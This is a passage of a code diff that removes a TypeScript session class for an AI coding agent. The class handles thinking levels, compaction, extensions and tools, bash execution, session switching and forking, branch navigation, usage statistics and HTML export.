if the level actually changes. - */ - setThinkingLevel(level: ThinkingLevel): void { - const availableLevels = this.getAvailableThinkingLevels(); - const effectiveLevel = availableLevels.includes(level) - ? level - : this._clampThinkingLevel(level, availableLevels); - - // Only persist if actually changing - const isChanging = effectiveLevel !== this.agent.state.thinkingLevel; - - this.agent.setThinkingLevel(effectiveLevel); - - if (isChanging) { - this.sessionManager.appendThinkingLevelChange(effectiveLevel); - if (this.supportsThinking() || effectiveLevel !== "off") { - this.settingsManager.setDefaultThinkingLevel(effectiveLevel); - } - this._emitSessionStateChanged("set_thinking_level"); - } - } - - /** - * Cycle to next thinking level. - * @returns New level, or undefined if model doesn't support thinking - */ - cycleThinkingLevel(): ThinkingLevel | undefined { - if (!this.supportsThinking()) return undefined; - - const levels = this.getAvailableThinkingLevels(); - const currentIndex = levels.indexOf(this.thinkingLevel); - const nextIndex = (currentIndex + 1) % levels.length; - const nextLevel = levels[nextIndex]; - - this.setThinkingLevel(nextLevel); - return nextLevel; - } - - /** - * Get available thinking levels for current model. - * The provider will clamp to what the specific model supports internally. - */ - getAvailableThinkingLevels(): ThinkingLevel[] { - if (!this.supportsThinking()) return ["off"]; - return this.supportsXhighThinking() - ? THINKING_LEVELS_WITH_XHIGH - : THINKING_LEVELS; - } - - /** - * Check if current model supports xhigh thinking level. - */ - supportsXhighThinking(): boolean { - return this.model ? supportsXhigh(this.model) : false; - } - - /** - * Check if current model supports thinking/reasoning. - */ - supportsThinking(): boolean { - return !!this.model?.reasoning; - } - - private _getThinkingLevelForModelSwitch( - explicitLevel?: ThinkingLevel, - ): ThinkingLevel { - if (explicitLevel !== undefined) { - return explicitLevel; - } - if (!this.supportsThinking()) { - return ( - this.settingsManager.getDefaultThinkingLevel() ?? DEFAULT_THINKING_LEVEL - ); - } - return this.thinkingLevel; - } - - private _clampThinkingLevel( - level: ThinkingLevel, - availableLevels: ThinkingLevel[], - ): ThinkingLevel { - const ordered = THINKING_LEVELS_WITH_XHIGH; - const available = new Set(availableLevels); - const requestedIndex = ordered.indexOf(level); - if (requestedIndex === -1) { - return availableLevels[0] ?? "off"; - } - for (let i = requestedIndex; i < ordered.length; i++) { - const candidate = ordered[i]; - if (available.has(candidate)) return candidate; - } - for (let i = requestedIndex - 1; i >= 0; i--) { - const candidate = ordered[i]; - if (available.has(candidate)) return candidate; - } - return availableLevels[0] ?? "off"; - } - - // ========================================================================= - // Queue Mode Management - // ========================================================================= - - /** - * Set steering message mode. - * Saves to settings. - */ - setSteeringMode(mode: "all" | "one-at-a-time"): void { - this.agent.setSteeringMode(mode); - this.settingsManager.setSteeringMode(mode); - this._emitSessionStateChanged("set_steering_mode"); - } - - /** - * Set follow-up message mode. - * Saves to settings. - */ - setFollowUpMode(mode: "all" | "one-at-a-time"): void { - this.agent.setFollowUpMode(mode); - this.settingsManager.setFollowUpMode(mode); - this._emitSessionStateChanged("set_follow_up_mode"); - } - - // ========================================================================= - // Compaction - // ========================================================================= - - /** - * Manually compact the session context. - * Aborts current agent operation first. - * @param customInstructions Optional instructions for the compaction summary - */ - async compact(customInstructions?: string): Promise { - return this._compactionOrchestrator.compact(customInstructions); - } - - /** Cancel in-progress compaction (manual or auto) */ - abortCompaction(): void { - this._compactionOrchestrator.abortCompaction(); - } - - /** Cancel in-progress branch summarization */ - abortBranchSummary(): void { - this._compactionOrchestrator.abortBranchSummary(); - } - - /** Toggle auto-compaction setting */ - setAutoCompactionEnabled(enabled: boolean): void { - this._compactionOrchestrator.setAutoCompactionEnabled(enabled); - this._emitSessionStateChanged("set_auto_compaction"); - } - - /** Whether auto-compaction is enabled */ - get autoCompactionEnabled(): boolean { - return this._compactionOrchestrator.autoCompactionEnabled; - } - - async bindExtensions(bindings: ExtensionBindings): Promise { - if (bindings.uiContext !== undefined) { - this._extensionUIContext = bindings.uiContext; - } - if (bindings.commandContextActions !== undefined) { - this._extensionCommandContextActions = bindings.commandContextActions; - } - if (bindings.shutdownHandler !== undefined) { - this._extensionShutdownHandler = bindings.shutdownHandler; - } - if (bindings.onError !== undefined) { - this._extensionErrorListener = bindings.onError; - } - - if (this._extensionRunner) { - this._applyExtensionBindings(this._extensionRunner); - await this._extensionRunner.emit({ type: "session_start" }); - await this.extendResourcesFromExtensions("startup"); - } - } - - private async extendResourcesFromExtensions( - reason: "startup" | "reload", - ): Promise { - if (!this._extensionRunner?.hasHandlers("resources_discover")) { - return; - } - - const { skillPaths, promptPaths, themePaths } = - await this._extensionRunner.emitResourcesDiscover(this._cwd, reason); - - if ( - skillPaths.length === 0 && - promptPaths.length === 0 && - themePaths.length === 0 - ) { - return; - } - - const extensionPaths: ResourceExtensionPaths = { - skillPaths: this.buildExtensionResourcePaths(skillPaths), - promptPaths: this.buildExtensionResourcePaths(promptPaths), - themePaths: this.buildExtensionResourcePaths(themePaths), - }; - - this._resourceLoader.extendResources(extensionPaths); - this._baseSystemPrompt = this._rebuildSystemPrompt( - this.getActiveToolNames(), - ); - this.agent.setSystemPrompt(this._baseSystemPrompt); - } - - private buildExtensionResourcePaths( - entries: Array<{ path: string; extensionPath: string }>, - ): Array<{ - path: string; - metadata: { - source: string; - scope: "temporary"; - origin: "top-level"; - baseDir?: string; - }; - }> { - return entries.map((entry) => { - const source = this.getExtensionSourceLabel(entry.extensionPath); - const baseDir = entry.extensionPath.startsWith("<") - ? undefined - : dirname(entry.extensionPath); - return { - path: entry.path, - metadata: { - source, - scope: "temporary", - origin: "top-level", - baseDir, - }, - }; - }); - } - - private getExtensionSourceLabel(extensionPath: string): string { - if (extensionPath.startsWith("<")) { - return `extension:${extensionPath.replace(/[<>]/g, "")}`; - } - const base = basename(extensionPath); - const name = base.replace(/\.(ts|js)$/, ""); - return `extension:${name}`; - } - - private _applyExtensionBindings(runner: ExtensionRunner): void { - runner.setUIContext(this._extensionUIContext); - runner.bindCommandContext(this._extensionCommandContextActions); - - try { - this._extensionErrorUnsubscriber?.(); - } catch { - // Ignore errors from previous unsubscriber - } - this._extensionErrorUnsubscriber = this._extensionErrorListener - ? runner.onError(this._extensionErrorListener) - : undefined; - } - - private _bindExtensionCore(runner: ExtensionRunner): void { - const normalizeLocation = ( - source: string, - ): SlashCommandLocation | undefined => { - if (source === "user" || source === "project" || source === "path") { - return source; - } - return undefined; - }; - - const reservedBuiltins = new Set( - BUILTIN_SLASH_COMMANDS.map((command) => command.name), - ); - - const getCommands = (): SlashCommandInfo[] => { - const extensionCommands: SlashCommandInfo[] = runner - .getRegisteredCommandsWithPaths() - .filter(({ command }) => !reservedBuiltins.has(command.name)) - .map(({ command, extensionPath }) => ({ - name: command.name, - description: command.description, - source: "extension", - path: extensionPath, - })); - - const templates: SlashCommandInfo[] = this.promptTemplates.map( - (template) => ({ - name: template.name, - description: template.description, - source: "prompt", - location: normalizeLocation(template.source), - path: template.filePath, - }), - ); - - const skills: SlashCommandInfo[] = this._resourceLoader - .getSkills() - .skills.map((skill) => ({ - name: `skill:${skill.name}`, - description: skill.description, - source: "skill", - location: normalizeLocation(skill.source), - path: skill.filePath, - })); - - return [...extensionCommands, ...templates, ...skills]; - }; - - runner.bindCore( - { - sendMessage: async (message, options) => { - try { - await this.sendCustomMessage(message, options); - } catch (err) { - runner.emitError({ - extensionPath: "", - event: "send_message", - error: getErrorMessage(err), - }); - throw err; - } - }, - sendUserMessage: (content, options) => { - this.sendUserMessage(content, options).catch((err) => { - runner.emitError({ - extensionPath: "", - event: "send_user_message", - error: getErrorMessage(err), - }); - }); - }, - retryLastTurn: () => { - const messages = this.agent.state.messages; - const last = messages[messages.length - 1]; - if ( - last?.role === "assistant" && - (last as AssistantMessage).stopReason === "error" - ) { - // If the error was an image dimension overflow, downsize images - // before retrying so the retry doesn't hit the same error (#2874) - if ( - isImageDimensionError((last as AssistantMessage).errorMessage) - ) { - downsizeConversationImages(messages as Message[]); - } - this.agent.replaceMessages(messages.slice(0, -1)); - this.agent.continue().catch((err) => { - runner.emitError({ - extensionPath: "", - event: "retry_last_turn", - error: getErrorMessage(err), - }); - }); - } - }, - appendEntry: (customType, data) => { - this.sessionManager.appendCustomEntry(customType, data); - }, - setSessionName: (name) => { - this.sessionManager.appendSessionInfo(name); - }, - getSessionName: () => { - return this.sessionManager.getSessionName(); - }, - setLabel: (entryId, label) => { - this.sessionManager.appendLabelChange(entryId, label); - }, - getActiveTools: () => this.getActiveToolNames(), - getAllTools: () => this.getAllTools(), - setActiveTools: (toolNames) => this.setActiveToolsByName(toolNames), - refreshTools: () => this._refreshToolRegistry(), - getCommands, - setModel: async (model, options) => { - if (!this.modelRegistry.isProviderRequestReady(model.provider)) - return false; - await this.setModel(model, options); - return true; - }, - getThinkingLevel: () => this.thinkingLevel, - setThinkingLevel: (level) => this.setThinkingLevel(level), - }, - { - getModel: () => this.model, - isIdle: () => !this.isStreaming, - abort: () => this.abort(), - hasPendingMessages: () => this.pendingMessageCount > 0, - shutdown: () => { - this._extensionShutdownHandler?.(); - }, - getContextUsage: () => this.getContextUsage(), - compact: (options) => { - void (async () => { - try { - const result = await this.compact(options?.customInstructions); - options?.onComplete?.(result); - } catch (error) { - const err = - error instanceof Error ? error : new Error(String(error)); - options?.onError?.(err); - } - })(); - }, - getSystemPrompt: () => this.systemPrompt, - requestReload: () => {}, - }, - ); - } - - private _refreshToolRegistry(options?: { - activeToolNames?: string[]; - includeAllExtensionTools?: boolean; - }): void { - const previousRegistryNames = new Set(this._toolRegistry.keys()); - const previousActiveToolNames = this.getActiveToolNames(); - - const registeredTools = - this._extensionRunner?.getAllRegisteredTools() ?? []; - const allCustomTools = [ - ...registeredTools, - ...this._customTools.map((def) => ({ - definition: def, - extensionPath: "", - })), - ]; - this._toolPromptSnippets = new Map( - allCustomTools - .map((registeredTool) => { - const snippet = this._normalizePromptSnippet( - registeredTool.definition.promptSnippet ?? - registeredTool.definition.description, - ); - return snippet - ? ([registeredTool.definition.name, snippet] as const) - : undefined; - }) - .filter( - (entry): entry is readonly [string, string] => entry !== undefined, - ), - ); - this._toolPromptGuidelines = new Map( - allCustomTools - .map((registeredTool) => { - const guidelines = this._normalizePromptGuidelines( - registeredTool.definition.promptGuidelines, - ); - return guidelines.length > 0 - ? ([registeredTool.definition.name, guidelines] as const) - : undefined; - }) - .filter( - (entry): entry is readonly [string, string[]] => entry !== undefined, - ), - ); - const wrappedExtensionTools = this._extensionRunner - ? wrapRegisteredTools(allCustomTools, this._extensionRunner) - : []; - const builtinTools = this._getBuiltinTools(); - - const toolRegistry = new Map(this._baseToolRegistry); - for (const tool of builtinTools) { - toolRegistry.set(tool.name, tool); - } - for (const tool of wrappedExtensionTools as AgentTool[]) { - toolRegistry.set(tool.name, tool); - } - - // Tool interception (tool_call/tool_result extension events) is handled by - // beforeToolCall/afterToolCall hooks installed in _installAgentToolHooks(), - // which await _agentEventQueue for safe parallel execution. - this._toolRegistry = toolRegistry; - - const nextActiveToolNames = options?.activeToolNames - ? [...options.activeToolNames] - : [...previousActiveToolNames]; - - if (options?.includeAllExtensionTools) { - for (const tool of wrappedExtensionTools) { - nextActiveToolNames.push(tool.name); - } - } else if (!options?.activeToolNames) { - for (const toolName of this._toolRegistry.keys()) { - if (!previousRegistryNames.has(toolName)) { - nextActiveToolNames.push(toolName); - } - } - } - - this.setActiveToolsByName([...new Set(nextActiveToolNames)]); - } - - private _buildRuntime(options: { - activeToolNames?: string[]; - flagValues?: Map; - includeAllExtensionTools?: boolean; - }): void { - const autoResizeImages = this.settingsManager.getImageAutoResize(); - const shellCommandPrefix = this.settingsManager.getShellCommandPrefix(); - const baseTools = this._baseToolsOverride - ? this._baseToolsOverride - : createAllTools(this._cwd, { - read: { autoResizeImages }, - bash: { - commandPrefix: shellCommandPrefix, - interceptor: { - enabled: this.settingsManager.getBashInterceptorEnabled(), - rules: this.settingsManager.getBashInterceptorRules(), - }, - availableToolNames: () => this.getActiveToolNames(), - }, - }); - - this._baseToolRegistry = new Map( - Object.entries(baseTools).map(([name, tool]) => [ - name, - tool as AgentTool, - ]), - ); - - const extensionsResult = this._resourceLoader.getExtensions(); - if (options.flagValues) { - for (const [name, value] of options.flagValues) { - extensionsResult.runtime.flagValues.set(name, value); - } - } - - const hasExtensions = extensionsResult.extensions.length > 0; - const hasCustomTools = this._customTools.length > 0; - this._extensionRunner = - hasExtensions || hasCustomTools - ? new ExtensionRunner( - extensionsResult.extensions, - extensionsResult.runtime, - this._cwd, - this.sessionManager, - this._modelRegistry, - ) - : undefined; - if (this._extensionRunnerRef) { - this._extensionRunnerRef.current = this._extensionRunner; - } - if (this._extensionRunner) { - this._bindExtensionCore(this._extensionRunner); - this._applyExtensionBindings(this._extensionRunner); - } - - const defaultActiveToolNames = this._baseToolsOverride - ? Object.keys(this._baseToolsOverride) - : ["read", "grep", "find", "ls", "bash", "edit", "write", "lsp"]; - const baseActiveToolNames = - options.activeToolNames ?? defaultActiveToolNames; - this._refreshToolRegistry({ - activeToolNames: baseActiveToolNames, - includeAllExtensionTools: options.includeAllExtensionTools, - }); - } - - async reload(): Promise { - const previousFlagValues = this._extensionRunner?.getFlagValues(); - await this._extensionRunner?.emit({ type: "session_shutdown" }); - this.settingsManager.reload(); - resetApiProviders(); - await this._resourceLoader.reload(); - this._buildRuntime({ - activeToolNames: this.getActiveToolNames(), - flagValues: previousFlagValues, - includeAllExtensionTools: true, - }); - - const hasBindings = - this._extensionUIContext || - this._extensionCommandContextActions || - this._extensionShutdownHandler || - this._extensionErrorListener; - if (this._extensionRunner && hasBindings) { - await this._extensionRunner.emit({ type: "session_start" }); - await this.extendResourcesFromExtensions("reload"); - } - } - - // ========================================================================= - // Auto-Retry (delegated to RetryHandler) - // ========================================================================= - - /** Cancel in-progress retry */ - abortRetry(): void { - const hadRetry = this._retryHandler.isRetrying; - this._retryHandler.abortRetry(); - if (hadRetry) { - this._emitSessionStateChanged("abort_retry"); - } - } - - /** Whether auto-retry is currently in progress */ - get isRetrying(): boolean { - return this._retryHandler.isRetrying; - } - - /** Whether auto-retry is enabled */ - get autoRetryEnabled(): boolean { - return this._retryHandler.autoRetryEnabled; - } - - /** Toggle auto-retry setting */ - setAutoRetryEnabled(enabled: boolean): void { - this._retryHandler.setAutoRetryEnabled(enabled); - this._emitSessionStateChanged("set_auto_retry"); - } - - // ========================================================================= - // Bash Execution - // ========================================================================= - - /** - * Execute a bash command. - * Adds result to agent context and session. - * @param command The bash command to execute - * @param onChunk Optional streaming callback for output - * @param options.excludeFromContext If true, command output won't be sent to LLM (!! prefix) - * @param options.operations Custom BashOperations for remote execution - */ - async executeBash( - command: string, - onChunk?: (chunk: string) => void, - options?: { - excludeFromContext?: boolean; - operations?: BashOperations; - loginShell?: boolean; - }, - ): Promise { - this._bashAbortController = new AbortController(); - - // Apply command prefix if configured (e.g., "shopt -s expand_aliases" for alias support) - const prefix = this.settingsManager.getShellCommandPrefix(); - const resolvedCommand = prefix ? `${prefix}\n${command}` : command; - - try { - const result = options?.operations - ? await executeBashWithOperations( - resolvedCommand, - process.cwd(), - options.operations, - { - onChunk, - signal: this._bashAbortController.signal, - }, - ) - : await executeBashCommand(resolvedCommand, { - onChunk, - signal: this._bashAbortController.signal, - loginShell: options?.loginShell, - }); - - this.recordBashResult(command, result, options); - return result; - } finally { - this._bashAbortController = undefined; - } - } - - /** - * Record a bash execution result in session history. - * Used by executeBash and by extensions that handle bash execution themselves. - */ - recordBashResult( - command: string, - result: BashResult, - options?: { excludeFromContext?: boolean }, - ): void { - const bashMessage: BashExecutionMessage = { - role: "bashExecution", - command, - output: result.output, - exitCode: result.exitCode, - cancelled: result.cancelled, - truncated: result.truncated, - fullOutputPath: result.fullOutputPath, - timestamp: Date.now(), - excludeFromContext: options?.excludeFromContext, - }; - - // If agent is streaming, defer adding to avoid breaking tool_use/tool_result ordering - if (this.isStreaming) { - // Queue for later - will be flushed on agent_end - this._pendingBashMessages.push(bashMessage); - } else { - // Add to agent state immediately - this.agent.appendMessage(bashMessage); - - // Save to session - this.sessionManager.appendMessage(bashMessage); - } - } - - /** - * Cancel running bash command. - */ - abortBash(): void { - this._bashAbortController?.abort(); - } - - /** Whether a bash command is currently running */ - get isBashRunning(): boolean { - return this._bashAbortController !== undefined; - } - - /** Whether there are pending bash messages waiting to be flushed */ - get hasPendingBashMessages(): boolean { - return this._pendingBashMessages.length > 0; - } - - /** - * Flush pending bash messages to agent state and session. - * Called after agent turn completes to maintain proper message ordering. - */ - private _flushPendingBashMessages(): void { - if (this._pendingBashMessages.length === 0) return; - - for (const bashMessage of this._pendingBashMessages) { - // Add to agent state - this.agent.appendMessage(bashMessage); - - // Save to session - this.sessionManager.appendMessage(bashMessage); - } - - this._pendingBashMessages = []; - } - - // ========================================================================= - // Session Management - // ========================================================================= - - /** - * Switch to a different session file. - * Aborts current operation, loads messages, restores model/thinking. - * Listeners are preserved and will continue receiving events. - * @returns true if switch completed, false if cancelled by extension - */ - async switchSession(sessionPath: string): Promise { - const previousSessionFile = this.sessionManager.getSessionFile(); - - // Emit session_before_switch event (can be cancelled) - if (this._extensionRunner?.hasHandlers("session_before_switch")) { - const result = (await this._extensionRunner.emit({ - type: "session_before_switch", - reason: "resume", - targetSessionFile: sessionPath, - })) as SessionBeforeSwitchResult | undefined; - - if (result?.cancel) { - return false; - } - } - - this._sessionSwitchPending = true; - try { - this._disconnectFromAgent(); - await this.abort(); - } finally { - this._sessionSwitchPending = false; - } - this._steeringMessages = []; - this._followUpMessages = []; - this._pendingNextTurnMessages = []; - - // Set new session - this.sessionManager.setSessionFile(sessionPath); - this.agent.sessionId = this.sessionManager.getSessionId(); - - // Reload messages - const sessionContext = this.sessionManager.buildSessionContext(); - - // Emit session_switch event to extensions - if (this._extensionRunner) { - await this._extensionRunner.emit({ - type: "session_switch", - reason: "resume", - previousSessionFile, - }); - } - - // Emit session event to custom tools - - this.agent.replaceMessages(sessionContext.messages); - - // Restore model if saved - if (sessionContext.model) { - const previousModel = this.model; - const availableModels = await this._modelRegistry.getAvailable(); - const match = availableModels.find( - (m) => - m.provider === sessionContext.model!.provider && - m.id === sessionContext.model!.modelId, - ); - if (match) { - this.agent.setModel(match); - await this._emitModelSelect(match, previousModel, "restore"); - } - } - - const hasThinkingEntry = this.sessionManager - .getBranch() - .some((entry) => entry.type === "thinking_level_change"); - const defaultThinkingLevel = - this.settingsManager.getDefaultThinkingLevel() ?? DEFAULT_THINKING_LEVEL; - - if (hasThinkingEntry) { - // Restore thinking level if saved (setThinkingLevel clamps to model capabilities) - this.setThinkingLevel(sessionContext.thinkingLevel as ThinkingLevel); - } else { - const availableLevels = this.getAvailableThinkingLevels(); - const effectiveLevel = availableLevels.includes(defaultThinkingLevel) - ? defaultThinkingLevel - : this._clampThinkingLevel(defaultThinkingLevel, availableLevels); - this.agent.setThinkingLevel(effectiveLevel); - this.sessionManager.appendThinkingLevelChange(effectiveLevel); - } - - this._reconnectToAgent(); - this._emitSessionStateChanged("switch_session"); - return true; - } - - /** - * Set a display name for the current session. - */ - setSessionName(name: string): void { - this.sessionManager.appendSessionInfo(name); - this._emitSessionStateChanged("set_session_name"); - } - - /** - * Create a fork from a specific entry. - * Emits before_fork/fork session events to extensions. - * - * @param entryId ID of the entry to fork from - * @returns Object with: - * - selectedText: The text of the selected user message (for editor pre-fill) - * - cancelled: True if an extension cancelled the fork - */ - async fork( - entryId: string, - ): Promise<{ selectedText: string; cancelled: boolean }> { - const previousSessionFile = this.sessionFile; - const selectedEntry = this.sessionManager.getEntry(entryId); - - if ( - !selectedEntry || - selectedEntry.type !== "message" || - selectedEntry.message.role !== "user" - ) { - throw new Error("Invalid entry ID for forking"); - } - - const selectedText = this._extractUserMessageText( - selectedEntry.message.content, - ); - - let skipConversationRestore = false; - - // Emit session_before_fork event (can be cancelled) - if (this._extensionRunner?.hasHandlers("session_before_fork")) { - const result = (await this._extensionRunner.emit({ - type: "session_before_fork", - entryId, - })) as SessionBeforeForkResult | undefined; - - if (result?.cancel) { - return { selectedText, cancelled: true }; - } - skipConversationRestore = result?.skipConversationRestore ?? false; - } - - // Clear pending messages (bound to old session state) - this._pendingNextTurnMessages = []; - - if (!selectedEntry.parentId) { - this.sessionManager.newSession({ parentSession: previousSessionFile }); - } else { - this.sessionManager.createBranchedSession(selectedEntry.parentId); - } - this.agent.sessionId = this.sessionManager.getSessionId(); - - // Reload messages from entries (works for both file and in-memory mode) - const sessionContext = this.sessionManager.buildSessionContext(); - - // Emit session_fork event to extensions (after fork completes) - if (this._extensionRunner) { - await this._extensionRunner.emit({ - type: "session_fork", - previousSessionFile, - }); - } - - // Emit session event to custom tools (with reason "fork") - - if (!skipConversationRestore) { - this.agent.replaceMessages(sessionContext.messages); - } - - this._emitSessionStateChanged("fork"); - return { selectedText, cancelled: false }; - } - - // ========================================================================= - // Tree Navigation - // ========================================================================= - - /** - * Navigate to a different node in the session tree. - * Unlike fork() which creates a new session file, this stays in the same file. - * - * @param targetId The entry ID to navigate to - * @param options.summarize Whether user wants to summarize abandoned branch - * @param options.customInstructions Custom instructions for summarizer - * @param options.replaceInstructions If true, customInstructions replaces the default prompt - * @param options.label Label to attach to the branch summary entry - * @returns Result with editorText (if user message) and cancelled status - */ - async navigateTree( - targetId: string, - options: { - summarize?: boolean; - customInstructions?: string; - replaceInstructions?: boolean; - label?: string; - } = {}, - ): Promise<{ - editorText?: string; - cancelled: boolean; - aborted?: boolean; - summaryEntry?: BranchSummaryEntry; - }> { - const oldLeafId = this.sessionManager.getLeafId(); - - // No-op if already at target - if (targetId === oldLeafId) { - return { cancelled: false }; - } - - // Model required for summarization - if (options.summarize && !this.model) { - throw new Error("No model available for summarization"); - } - - const targetEntry = this.sessionManager.getEntry(targetId); - if (!targetEntry) { - throw new Error(`Entry ${targetId} not found`); - } - - // Collect entries to summarize (from old leaf to common ancestor) - const { entries: entriesToSummarize, commonAncestorId } = - collectEntriesForBranchSummary(this.sessionManager, oldLeafId, targetId); - - // Prepare event data - mutable so extensions can override - let customInstructions = options.customInstructions; - let replaceInstructions = options.replaceInstructions; - let label = options.label; - - const preparation: TreePreparation = { - targetId, - oldLeafId, - commonAncestorId, - entriesToSummarize, - userWantsSummary: options.summarize ?? false, - customInstructions, - replaceInstructions, - label, - }; - - // Set up abort controller for summarization - this._compactionOrchestrator.branchSummaryAbortController = - new AbortController(); - let extensionSummary: { summary: string; details?: unknown } | undefined; - let fromExtension = false; - - // Emit session_before_tree event - if (this._extensionRunner?.hasHandlers("session_before_tree")) { - const result = (await this._extensionRunner.emit({ - type: "session_before_tree", - preparation, - signal: - this._compactionOrchestrator.branchSummaryAbortController.signal, - })) as SessionBeforeTreeResult | undefined; - - if (result?.cancel) { - return { cancelled: true }; - } - - if (result?.summary && options.summarize) { - extensionSummary = result.summary; - fromExtension = true; - } - - // Allow extensions to override instructions and label - if (result?.customInstructions !== undefined) { - customInstructions = result.customInstructions; - } - if (result?.replaceInstructions !== undefined) { - replaceInstructions = result.replaceInstructions; - } - if (result?.label !== undefined) { - label = result.label; - } - } - - // Run default summarizer if needed - let summaryText: string | undefined; - let summaryDetails: unknown; - if ( - options.summarize && - entriesToSummarize.length > 0 && - !extensionSummary - ) { - const model = this.model!; - if (!this._modelRegistry.isProviderRequestReady(model.provider)) { - throw new Error(`No API key for ${model.provider}`); - } - const apiKey = await this._modelRegistry.getApiKey(model, this.sessionId); - const branchSummarySettings = - this.settingsManager.getBranchSummarySettings(); - const result = await generateBranchSummary(entriesToSummarize, { - model, - apiKey, - signal: - this._compactionOrchestrator.branchSummaryAbortController.signal, - customInstructions, - replaceInstructions, - reserveTokens: branchSummarySettings.reserveTokens, - }); - this._compactionOrchestrator.branchSummaryAbortController = undefined; - if (result.aborted) { - return { cancelled: true, aborted: true }; - } - if (result.error) { - throw new Error(result.error); - } - summaryText = result.summary; - summaryDetails = { - readFiles: result.readFiles || [], - modifiedFiles: result.modifiedFiles || [], - }; - } else if (extensionSummary) { - summaryText = extensionSummary.summary; - summaryDetails = extensionSummary.details; - } - - // Determine the new leaf position based on target type - let newLeafId: string | null; - let editorText: string | undefined; - - if (targetEntry.type === "message" && targetEntry.message.role === "user") { - // User message: leaf = parent (null if root), text goes to editor - newLeafId = targetEntry.parentId; - editorText = this._extractUserMessageText(targetEntry.message.content); - } else if (targetEntry.type === "custom_message") { - // Custom message: leaf = parent (null if root), text goes to editor - newLeafId = targetEntry.parentId; - editorText = - typeof targetEntry.content === "string" - ? targetEntry.content - : targetEntry.content - .filter( - (c): c is { type: "text"; text: string } => c.type === "text", - ) - .map((c) => c.text) - .join(""); - } else { - // Non-user message: leaf = selected node - newLeafId = targetId; - } - - // Switch leaf (with or without summary) - // Summary is attached at the navigation target position (newLeafId), not the old branch - let summaryEntry: BranchSummaryEntry | undefined; - if (summaryText) { - // Create summary at target position (can be null for root) - const summaryId = this.sessionManager.branchWithSummary( - newLeafId, - summaryText, - summaryDetails, - fromExtension, - ); - summaryEntry = this.sessionManager.getEntry( - summaryId, - ) as BranchSummaryEntry; - - // Attach label to the summary entry - if (label) { - this.sessionManager.appendLabelChange(summaryId, label); - } - } else if (newLeafId === null) { - // No summary, navigating to root - reset leaf - this.sessionManager.resetLeaf(); - } else { - // No summary, navigating to non-root - this.sessionManager.branch(newLeafId); - } - - // Attach label to target entry when not summarizing (no summary entry to label) - if (label && !summaryText) { - this.sessionManager.appendLabelChange(targetId, label); - } - - // Update agent state - const sessionContext = this.sessionManager.buildSessionContext(); - this.agent.replaceMessages(sessionContext.messages); - - // Emit session_tree event - if (this._extensionRunner) { - await this._extensionRunner.emit({ - type: "session_tree", - newLeafId: this.sessionManager.getLeafId(), - oldLeafId, - summaryEntry, - fromExtension: summaryText ? fromExtension : undefined, - }); - } - - // Emit to custom tools - - this._compactionOrchestrator.branchSummaryAbortController = undefined; - return { editorText, cancelled: false, summaryEntry }; - } - - /** - * Get all user messages from session for fork selector. - */ - getUserMessagesForForking(): Array<{ entryId: string; text: string }> { - const entries = this.sessionManager.getEntries(); - const result: Array<{ entryId: string; text: string }> = []; - - for (const entry of entries) { - if (entry.type !== "message") continue; - if (entry.message.role !== "user") continue; - - const text = this._extractUserMessageText(entry.message.content); - if (text) { - result.push({ entryId: entry.id, text }); - } - } - - return result; - } - - private _extractUserMessageText( - content: string | Array<{ type: string; text?: string }>, - ): string { - if (typeof content === "string") return content; - if (Array.isArray(content)) { - return content - .filter((c): c is { type: "text"; text: string } => c.type === "text") - .map((c) => c.text) - .join(""); - } - return ""; - } - - /** - * Get session statistics. - */ - getSessionStats(): SessionStats { - const state = this.state; - const userMessages = state.messages.filter((m) => m.role === "user").length; - const assistantMessages = state.messages.filter( - (m) => m.role === "assistant", - ).length; - const toolResults = state.messages.filter( - (m) => m.role === "toolResult", - ).length; - - let toolCalls = 0; - let totalInput = 0; - let totalOutput = 0; - let totalCacheRead = 0; - let totalCacheWrite = 0; - let totalCost = 0; - - for (const message of state.messages) { - if (message.role === "assistant") { - const assistantMsg = message as AssistantMessage; - toolCalls += assistantMsg.content.filter( - (c) => c.type === "toolCall", - ).length; - totalInput += assistantMsg.usage.input; - totalOutput += assistantMsg.usage.output; - totalCacheRead += assistantMsg.usage.cacheRead; - totalCacheWrite += assistantMsg.usage.cacheWrite; - totalCost += assistantMsg.usage.cost.total; - } - } - - return { - sessionFile: this.sessionFile, - sessionId: this.sessionId, - userMessages, - assistantMessages, - toolCalls: Math.max(toolCalls, this._cumulativeToolCalls), - toolResults, - totalMessages: state.messages.length, - tokens: { - input: Math.max(totalInput, this._cumulativeInputTokens), - output: Math.max(totalOutput, this._cumulativeOutputTokens), - cacheRead: totalCacheRead, - cacheWrite: totalCacheWrite, - total: - Math.max( - totalInput + totalOutput, - this._cumulativeInputTokens + this._cumulativeOutputTokens, - ) + - totalCacheRead + - totalCacheWrite, - }, - cost: Math.max(totalCost, this._cumulativeCost), - }; - } - - /** - * Get the cost of the most recent assistant response. - * Returns 0 if no assistant message has been received yet. - */ - getLastTurnCost(): number { - return this._lastTurnCost; - } - - getContextUsage(): ContextUsage | undefined { - const model = this.model; - if (!model) return undefined; - - const contextWindow = model.contextWindow ?? 0; - if (contextWindow <= 0) return undefined; - - // After compaction, the last assistant usage reflects pre-compaction context size. - // We can only trust usage from an assistant that responded after the latest compaction. - // If no such assistant exists, context token count is unknown until the next LLM response. - const branchEntries = this.sessionManager.getBranch(); - const latestCompaction = getLatestCompactionEntry(branchEntries); - - if (latestCompaction) { - // Check if there's a valid assistant usage after the compaction boundary - const compactionIndex = branchEntries.lastIndexOf(latestCompaction); - let hasPostCompactionUsage = false; - for (let i = branchEntries.length - 1; i > compactionIndex; i--) { - const entry = branchEntries[i]; - if (entry.type === "message" && entry.message.role === "assistant") { - const assistant = entry.message; - if ( - assistant.stopReason !== "aborted" && - assistant.stopReason !== "error" - ) { - const contextTokens = calculateContextTokens(assistant.usage); - if (contextTokens > 0) { - hasPostCompactionUsage = true; - } - break; - } - } - } - - if (!hasPostCompactionUsage) { - return { tokens: null, contextWindow, percent: null }; - } - } - - const estimate = estimateContextTokens(this.messages); - const percent = (estimate.tokens / contextWindow) * 100; - - return { - tokens: estimate.tokens, - contextWindow, - percent, - }; - } - - /** - * Export session to HTML. - * @param outputPath Optional output path (defaults to session directory) - * @returns Path to exported file - */ - async exportToHtml(outputPath?: string): Promise { - const themeName = this.settingsManager.getTheme(); - - // Create tool renderer for extension and built-in tool HTML rendering - const toolRenderer = createToolHtmlRenderer({ - getToolDefinition: (name) => this.getRenderableToolDefinition(name), - theme, - }); - - return await exportSessionToHtml(this.sessionManager, this.state, { - outputPath, - themeName, - toolRenderer, - }); - } - - // ========================================================================= - // Utilities - // ========================================================================= - - /** - * Get text content of last assistant message. - * Useful for /copy command. - * @returns Text content, or undefined if no assistant message exists 